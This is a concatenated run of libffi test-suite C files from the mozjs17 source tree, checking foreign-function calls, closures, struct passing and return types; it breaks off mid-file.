/* { dg-do run } */ #include "ffitest.h" static size_t my_strlen(char *s) { return (strlen(s)); } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; char *s; args[0] = &ffi_type_pointer; values[0] = (void*) &s; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_sint, args) == FFI_OK); s = "a"; ffi_call(&cif, FFI_FN(my_strlen), &rint, values); CHECK(rint == 1); s = "1234567"; ffi_call(&cif, FFI_FN(my_strlen), &rint, values); CHECK(rint == 7); s = "1234567890123456789012345"; ffi_call(&cif, FFI_FN(my_strlen), &rint, values); CHECK(rint == 25); exit (0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_8byte.c0000664000175000017500000000445112106270662025007 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_8byte { int a; float b; } cls_struct_8byte; cls_struct_8byte cls_struct_8byte_fn(struct cls_struct_8byte a1, struct cls_struct_8byte a2) { struct cls_struct_8byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; printf("%d %g %d %g: %d %g\n", a1.a, a1.b, a2.a, a2.b, result.a, result.b); return result; } static void cls_struct_8byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_8byte a1, a2; a1 = *(struct cls_struct_8byte*)(args[0]); a2 = *(struct cls_struct_8byte*)(args[1]); *(cls_struct_8byte*)resp = cls_struct_8byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_8byte g_dbl = { 1, 2.0 }; struct cls_struct_8byte f_dbl = { 4, 5.0 }; struct cls_struct_8byte res_dbl; cls_struct_fields[0] = &ffi_type_sint; cls_struct_fields[1] = &ffi_type_float; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_8byte_fn), &res_dbl, args_dbl); /* { dg-output "1 2 4 5: 5 7" } */ printf("res: %d %g\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 5 7" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_8byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_8byte(*)(cls_struct_8byte, cls_struct_8byte))(code))(g_dbl, f_dbl); /* { dg-output "\n1 2 4 5: 5 7" } */ printf("res: %d %g\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 5 7" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct8.c0000664000175000017500000000342012106270662024522 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { float f1; float f2; float f3; float f4; } test_structure_8; static test_structure_8 struct8 (test_structure_8 ts) { ts.f1 += 1; ts.f2 += 1; ts.f3 += 1; ts.f4 += 1; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts8_type; ffi_type *ts8_type_elements[5]; ts8_type.size = 0; ts8_type.alignment = 0; ts8_type.type = FFI_TYPE_STRUCT; ts8_type.elements = ts8_type_elements; ts8_type_elements[0] = &ffi_type_float; ts8_type_elements[1] = &ffi_type_float; ts8_type_elements[2] = &ffi_type_float; ts8_type_elements[3] = &ffi_type_float; ts8_type_elements[4] = NULL; test_structure_8 ts8_arg; /* This is a hack to get a properly aligned result buffer */ test_structure_8 *ts8_result = (test_structure_8 *) malloc (sizeof(test_structure_8)); args[0] = &ts8_type; values[0] = &ts8_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts8_type, args) == FFI_OK); ts8_arg.f1 = 5.55f; ts8_arg.f2 = 55.5f; ts8_arg.f3 = -5.55f; ts8_arg.f4 = -55.5f; printf ("%g\n", ts8_arg.f1); printf ("%g\n", ts8_arg.f2); printf ("%g\n", ts8_arg.f3); printf ("%g\n", ts8_arg.f4); ffi_call(&cif, FFI_FN(struct8), ts8_result, values); printf ("%g\n", ts8_result->f1); printf ("%g\n", ts8_result->f2); printf ("%g\n", ts8_result->f3); printf ("%g\n", ts8_result->f4); CHECK(ts8_result->f1 == 5.55f + 1); CHECK(ts8_result->f2 == 55.5f + 1); CHECK(ts8_result->f3 == -5.55f + 1); CHECK(ts8_result->f4 == -55.5f + 1); free (ts8_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_ldl.c0000664000175000017500000000135312106270662025263 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value long double. Limitations: none. PR: none. Originator: 20071113 */ /* { dg-do run { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ #include "ffitest.h" static long double return_ldl(long double ldl) { return 2*ldl; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; long double ldl, rldl; args[0] = &ffi_type_longdouble; values[0] = &ldl; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_longdouble, args) == FFI_OK); for (ldl = -127.0; ldl < 127.0; ldl++) { ffi_call(&cif, FFI_FN(return_ldl), &rldl, values); CHECK(rldl == 2 * ldl); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_longdouble.c0000664000175000017500000000501312106270662027253 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of long double. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; long double b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %g %d %d %g %d: %d %g %d\n", a1.a, (double)a1.b, a1.c, a2.a, (double)a2.b, a2.c, result.a, (double)result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_longdouble; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %g %d\n", res_dbl.a, (double)res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %g %d\n", res_dbl.a, (double)res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_ll.c0000664000175000017500000000152512106270662025120 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value long long. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" static long long return_ll(long long ll) { return ll; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; long long rlonglong; long long ll; args[0] = &ffi_type_sint64; values[0] = ≪ /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_sint64, args) == FFI_OK); for (ll = 0LL; ll < 100LL; ll++) { ffi_call(&cif, FFI_FN(return_ll), &rlonglong, values); CHECK(rlonglong == ll); } for (ll = 55555555555000LL; ll < 55555555555100LL; ll++) { ffi_call(&cif, FFI_FN(return_ll), &rlonglong, values); CHECK(rlonglong == ll); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_19byte.c0000664000175000017500000000562612106270662025076 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Double alignment check on darwin. Limitations: none. PR: none. Originator: 20030915 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_19byte { double a; unsigned char b; unsigned char c; double d; unsigned char e; } cls_struct_19byte; cls_struct_19byte cls_struct_19byte_fn(struct cls_struct_19byte a1, struct cls_struct_19byte a2) { struct cls_struct_19byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; result.e = a1.e + a2.e; printf("%g %d %d %g %d %g %d %d %g %d: %g %d %d %g %d\n", a1.a, a1.b, a1.c, a1.d, a1.e, a2.a, a2.b, a2.c, a2.d, a2.e, result.a, result.b, result.c, result.d, result.e); return result; } static void cls_struct_19byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_19byte a1, a2; a1 = *(struct cls_struct_19byte*)(args[0]); a2 = *(struct cls_struct_19byte*)(args[1]); *(cls_struct_19byte*)resp = cls_struct_19byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[6]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_19byte g_dbl = { 1.0, 127, 126, 3.0, 120 }; struct cls_struct_19byte f_dbl = { 4.0, 125, 124, 5.0, 119 }; struct cls_struct_19byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = &ffi_type_uchar; cls_struct_fields[5] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_19byte_fn), &res_dbl, args_dbl); /* { dg-output "1 127 126 3 120 4 125 124 5 119: 5 252 250 8 239" } */ printf("res: %g %d %d %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e); /* { dg-output "\nres: 5 252 250 8 239" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_19byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_19byte(*)(cls_struct_19byte, cls_struct_19byte))(code))(g_dbl, f_dbl); /* { dg-output "\n1 127 126 3 120 4 125 124 5 119: 5 252 250 8 239" } */ printf("res: %g %d %d %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e); /* { dg-output "\nres: 5 252 250 8 239" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_schar.c0000664000175000017500000000205312106270662025050 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value schar. Limitations: none. PR: none. Originator: 20031108 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_schar_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg*)resp = *(signed char *)args[0]; printf("%d: %d\n",*(signed char *)args[0], (int)*(ffi_arg *)(resp)); } typedef signed char (*cls_ret_schar)(signed char); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; signed char res; cl_arg_types[0] = &ffi_type_schar; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_schar, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_schar_fn, NULL, code) == FFI_OK); res = (*((cls_ret_schar)code))(127); /* { dg-output "127: 127" } */ printf("res: %d\n", res); /* { dg-output "\nres: 127" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn4.c0000664000175000017500000000571012106270662025335 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple long long values passing. Also, exceed the limit of gpr and fpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20031026 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn0(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(unsigned long long *)args[0] + (int)*(unsigned long long *)args[1] + (int)*(unsigned long long *)args[2] + (int)*(unsigned long long *)args[3] + (int)*(unsigned long long *)args[4] + (int)*(unsigned long long *)args[5] + (int)*(unsigned long long *)args[6] + (int)*(unsigned long long *)args[7] + (int)*(unsigned long long *)args[8] + (int)*(unsigned long long *)args[9] + (int)*(unsigned long long *)args[10] + (int)*(unsigned long long *)args[11] + (int)*(unsigned long long *)args[12] + (int)*(unsigned long long *)args[13] + (int)*(unsigned long long *)args[14] + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(unsigned long long *)args[0], (int)*(unsigned long long *)args[1], (int)*(unsigned long long *)args[2], (int)*(unsigned long long *)args[3], (int)*(unsigned long long *)args[4], (int)*(unsigned long long *)args[5], (int)*(unsigned long long *)args[6], (int)*(unsigned long long *)args[7], (int)*(unsigned long long *)args[8], (int)*(unsigned long long *)args[9], (int)*(unsigned long long *)args[10], (int)*(unsigned long long *)args[11], (int)*(unsigned long long *)args[12], (int)*(unsigned long long *)args[13], (int)*(unsigned long long *)args[14], *(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type0)(unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int i, res; for (i = 0; i < 15; i++) { cl_arg_types[i] = &ffi_type_uint64; } cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn0, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type0)code)) (1LL, 2LL, 3LL, 4LL, 127LL, 429LL, 7LL, 8LL, 9LL, 10LL, 11LL, 12LL, 13LL, 19LL, 21LL, 1); /* { dg-output "1 2 3 4 127 429 7 8 9 10 11 12 13 19 21 1 3: 680" } */ printf("res: %d\n",res); /* { dg-output "\nres: 680" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_double_va.c0000664000175000017500000000265012106270662025713 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Test doubles passed in variable argument lists. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-output "" { xfail avr32*-*-* } } */ /* { dg-skip-if "" arm*-*-* { "-mfloat-abi=hard" } { "" } } */ #include "ffitest.h" static void cls_double_va_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { char* format = *(char**)args[0]; double doubleValue = *(double*)args[1]; *(ffi_arg*)resp = printf(format, doubleValue); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args[3]; ffi_type* arg_types[3]; char* format = "%.1f\n"; double doubleArg = 7; ffi_arg res = 0; arg_types[0] = &ffi_type_pointer; arg_types[1] = &ffi_type_double; arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_sint, arg_types) == FFI_OK); args[0] = &format; args[1] = &doubleArg; args[2] = NULL; ffi_call(&cif, FFI_FN(printf), &res, args); // { dg-output "7.0" } printf("res: %d\n", (int) res); // { dg-output "\nres: 4" } CHECK(ffi_prep_closure_loc(pcl, &cif, cls_double_va_fn, NULL, code) == FFI_OK); res = ((int(*)(char*, double))(code))(format, doubleArg); // { dg-output "\n7.0" } printf("res: %d\n", (int) res); // { dg-output "\nres: 4" } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_fl3.c0000664000175000017500000000170712106270662025177 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value float. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" static float return_fl(float fl1, float fl2, unsigned int in3, float fl4) { return fl1 + fl2 + in3 + fl4; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; float fl1, fl2, fl4, rfl; unsigned int in3; args[0] = &ffi_type_float; args[1] = &ffi_type_float; args[2] = &ffi_type_uint; args[3] = &ffi_type_float; values[0] = &fl1; values[1] = &fl2; values[2] = &in3; values[3] = &fl4; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_float, args) == FFI_OK); fl1 = 127.0; fl2 = 128.0; in3 = 255; fl4 = 512.7; ffi_call(&cif, FFI_FN(return_fl), &rfl, values); printf ("%f vs %f\n", rfl, return_fl(fl1, fl2, in3, fl4)); CHECK(rfl == fl1 + fl2 + in3 + fl4); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/promotion.c0000664000175000017500000000251112106270662025134 0ustar sstanglsstangl/* Area: ffi_call Purpose: Promotion test. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" static int promotion(signed char sc, signed short ss, unsigned char uc, unsigned short us) { int r = (int) sc + (int) ss + (int) uc + (int) us; return r; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; signed char sc; unsigned char uc; signed short ss; unsigned short us; unsigned long ul; args[0] = &ffi_type_schar; args[1] = &ffi_type_sshort; args[2] = &ffi_type_uchar; args[3] = &ffi_type_ushort; values[0] = ≻ values[1] = &ss; values[2] = &uc; values[3] = &us; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_sint, args) == FFI_OK); us = 0; ul = 0; for (sc = (signed char) -127; sc <= (signed char) 120; sc += 1) for (ss = -30000; ss <= 30000; ss += 10000) for (uc = (unsigned char) 0; uc <= (unsigned char) 200; uc += 20) for (us = 0; us <= 60000; us += 10000) { ul++; ffi_call(&cif, FFI_FN(promotion), &rint, values); CHECK((int)rint == (signed char) sc + (signed short) ss + (unsigned char) uc + (unsigned short) us); } printf("%lu promotion tests run\n", ul); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_multi_sshortchar.c0000664000175000017500000000401512106270662027342 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check passing of multiple signed short/char values. Limitations: none. PR: PR13221. Originator: 20031129 */ /* { dg-do run } */ #include "ffitest.h" signed short test_func_fn(signed char a1, signed short a2, signed char a3, signed short a4) { signed short result; result = a1 + a2 + a3 + a4; printf("%d %d %d %d: %d\n", a1, a2, a3, a4, result); return result; } static void test_func_gn(ffi_cif *cif __UNUSED__, void *rval, void **avals, void *data __UNUSED__) { signed char a1, a3; signed short a2, a4; a1 = *(signed char *)avals[0]; a2 = *(signed short *)avals[1]; a3 = *(signed char *)avals[2]; a4 = *(signed short *)avals[3]; *(ffi_arg *)rval = test_func_fn(a1, a2, a3, a4); } typedef signed short (*test_type)(signed char, signed short, signed char, signed short); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void * args_dbl[5]; ffi_type * cl_arg_types[5]; ffi_arg res_call; signed char a, c; signed short b, d, res_closure; a = 1; b = 32765; c = 127; d = -128; args_dbl[0] = &a; args_dbl[1] = &b; args_dbl[2] = &c; args_dbl[3] = &d; args_dbl[4] = NULL; cl_arg_types[0] = &ffi_type_schar; cl_arg_types[1] = &ffi_type_sshort; cl_arg_types[2] = &ffi_type_schar; cl_arg_types[3] = &ffi_type_sshort; cl_arg_types[4] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_sshort, cl_arg_types) == FFI_OK); ffi_call(&cif, FFI_FN(test_func_fn), &res_call, args_dbl); /* { dg-output "1 32765 127 -128: 32765" } */ printf("res: %d\n", (signed short)res_call); /* { dg-output "\nres: 32765" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, test_func_gn, NULL, code) == FFI_OK); res_closure = (*((test_type)code))(1, 32765, 127, -128); /* { dg-output "\n1 32765 127 -128: 32765" } */ printf("res: %d\n", res_closure); /* { dg-output "\nres: 32765" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_float.c0000664000175000017500000000477112106270662026240 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of float. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; float b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %g %d %d %g %d: %d %g %d\n", a1.a, (double)a1.b, a1.c, a2.a, (double)a2.b, a2.c, result.a, (double)result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_float; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %g %d\n", res_dbl.a, (double)res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %g %d\n", res_dbl.a, (double)res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_3byte1.c0000664000175000017500000000462512106270662025066 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Especially with small structures which may fit in one register. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_3byte { unsigned short a; unsigned char b; } cls_struct_3byte; cls_struct_3byte cls_struct_3byte_fn(struct cls_struct_3byte a1, struct cls_struct_3byte a2) { struct cls_struct_3byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; printf("%d %d %d %d: %d %d\n", a1.a, a1.b, a2.a, a2.b, result.a, result.b); return result; } static void cls_struct_3byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_3byte a1, a2; a1 = *(struct cls_struct_3byte*)(args[0]); a2 = *(struct cls_struct_3byte*)(args[1]); *(cls_struct_3byte*)resp = cls_struct_3byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_3byte g_dbl = { 12, 119 }; struct cls_struct_3byte f_dbl = { 1, 15 }; struct cls_struct_3byte res_dbl; cls_struct_fields[0] = &ffi_type_ushort; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_3byte_fn), &res_dbl, args_dbl); /* { dg-output "12 119 1 15: 13 134" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 13 134" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_3byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_3byte(*)(cls_struct_3byte, cls_struct_3byte))(code))(g_dbl, f_dbl); /* { dg-output "\n12 119 1 15: 13 134" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 13 134" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct6.c0000664000175000017500000000655612106270662026077 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: PR 25630. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { double a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; typedef struct C { long d; unsigned char e; } C; static B B_fn(struct A b2, struct B b3, struct C b4) { struct B result; result.x.a = b2.a + b3.x.a + b4.d; result.x.b = b2.b + b3.x.b + b3.y + b4.e; result.y = b2.b + b3.x.b + b4.e; printf("%d %d %d %d %d %d %d: %d %d %d\n", (int)b2.a, b2.b, (int)b3.x.a, b3.x.b, b3.y, (int)b4.d, b4.e, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; struct C b2; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); b2 = *(struct C*)(args[2]); *(B*)resp = B_fn(b0, b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[4]; ffi_type* cls_struct_fields[3]; 